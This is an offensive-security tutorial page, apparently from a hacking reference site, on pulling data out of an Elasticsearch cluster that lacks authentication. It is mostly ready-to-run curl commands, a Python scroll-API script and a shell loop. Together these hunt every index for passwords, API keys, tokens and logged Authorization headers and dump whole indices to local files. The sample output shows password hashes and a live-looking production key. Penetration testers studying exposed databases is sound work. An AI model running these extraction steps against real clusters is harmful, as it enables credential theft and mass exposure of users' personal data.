Skip to content
HackIndex logo

HackIndex

Extracting Data from Unauthenticated Elasticsearch

4 min read Mar 26, 2026

With unauthenticated read access confirmed, the next step is targeted extraction. Start with high-value indices identified during enumeration — credential stores, session indices, and application logs — before doing a full dump. The scroll API handles large indices that exceed the default 10,000 document search limit.

Query specific fields across all indices for credential material before committing to a full dump. This surfaces usable loot fast:

┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:9200/_search?q=password&size=20&pretty"
┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:9200/_search?q=api_key&size=20&pretty"
┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:9200/_search?q=token&size=20&pretty"

These queries search across all readable indices. If the cluster has many indices, scope the query to a specific index by replacing _search with the index name:

┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:9200/users/_search?pretty&size=50" | python3 -m json.tool
{
  "hits": {
    "total": {"value": 48291},
    "hits": [
      {
        "_source": {
          "username": "admin",
          "password_hash": "$2y$10$abc123...",
          "email": "[email protected]",
          "api_key": "sk-prod-xK2aB1cD3eF4gH5i",
          "role": "administrator"
        }
      }
    ]
  }
}

The hits.total.value field tells you how many documents match. A size of 50 is enough to assess the data shape. For full extraction of an index use the scroll API below.

Full Index Dump via Scroll API

The default search endpoint caps at 10,000 results. For larger indices use the scroll API, which paginates through all documents. Initialize the scroll and note the scroll_id in the response:

┌──(kali㉿kali)-[~]
└─$ curl -sk -X POST "http://$TARGET_IP:9200/users/_search?scroll=2m&size=1000&pretty" -H 'Content-Type: application/json' -d '{"query":{"match_all":{}}}' | python3 -m json.tool
{
  "_scroll_id": "FGluY2x1ZGVfY29udGV4dF...",
  "hits": {
    "total": {"value": 48291},
    "hits": [...]
  }
}

Use the returned scroll_id to fetch subsequent pages until hits is empty:

┌──(kali㉿kali)-[~]
└─$ curl -sk -X POST "http://$TARGET_IP:9200/_search/scroll" -H 'Content-Type: application/json' -d '{"scroll":"2m","scroll_id":"FGluY2x1ZGVfY29udGV4dF..."}' | python3 -m json.tool

For large indices, script the loop to write all documents to a file:

import requests, json

host = f'http://$TARGET_IP:9200'
index = 'users'
output = f'/tmp/{index}_dump.json'

r = requests.post(f'{host}/{index}/_search?scroll=2m&size=1000',
    json={'query': {'match_all': {}}})
data = r.json()
scroll_id = data['_scroll_id']
all_docs = data['hits']['hits']

while True:
    r = requests.post(f'{host}/_search/scroll',
        json={'scroll': '2m', 'scroll_id': scroll_id})
    batch = r.json()['hits']['hits']
    if not batch:
        break
    all_docs.extend(batch)
    scroll_id = r.json()['_scroll_id']

with open(output, 'w') as f:
    json.dump(all_docs, f, indent=2)
print(f'Dumped {len(all_docs)} documents to {output}')

Extract Specific Fields Only

For large indices where you only need credentials or tokens rather than full documents, use source filtering to reduce response size and focus output:

┌──(kali㉿kali)-[~]
└─$ curl -sk -X POST "http://$TARGET_IP:9200/users/_search?pretty&size=500" -H 'Content-Type: application/json' -d '{"_source":["username","password_hash","email","api_key"],"query":{"match_all":{}}}' | python3 -m json.tool

Search Logs for Credentials in Transit

Application log indices often contain credentials passed in URLs, auth headers logged by mistake, or cleartext passwords submitted to login endpoints. Search for common patterns in log indices:

┌──(kali㉿kali)-[~]
└─$ curl -sk -X POST "http://$TARGET_IP:9200/app_logs/_search?pretty&size=20" -H 'Content-Type: application/json' -d '{"query":{"query_string":{"query":"password OR passwd OR Authorization OR Bearer OR api_key"}}}' | python3 -m json.tool
┌──(kali㉿kali)-[~]
└─$ curl -sk -X POST "http://$TARGET_IP:9200/app_logs/_search?pretty&size=20" -H 'Content-Type: application/json' -d '{"query":{"query_string":{"query":"request.url:*password* OR request.url:*token* OR request.headers.authorization:*"}}}' | python3 -m json.tool

Dump All Indices to Separate Files

When the full cluster is in scope and multiple indices need extracting, loop over the index list and dump each one:

┌──(kali㉿kali)-[~]
└─$ for index in $(curl -sk "http://$TARGET_IP:9200/_cat/indices?h=index" | grep -v '^\.' | tr -d ' '); do echo "[*] Dumping $index"; curl -sk -X POST "http://$TARGET_IP:9200/${index}/_search?size=1000" -H 'Content-Type: application/json' -d '{"query":{"match_all":{}}}' > /tmp/es_${index}.json; echo " Saved to /tmp/es_${index}.json"; done
[*] Dumping users
    Saved to /tmp/es_users.json
[*] Dumping app_logs
    Saved to /tmp/es_app_logs.json
[*] Dumping sessions
    Saved to /tmp/es_sessions.json

The grep -v '^\.' skips system indices that start with a dot. For indices over 1,000 documents, replace the loop body with the scroll script above.

References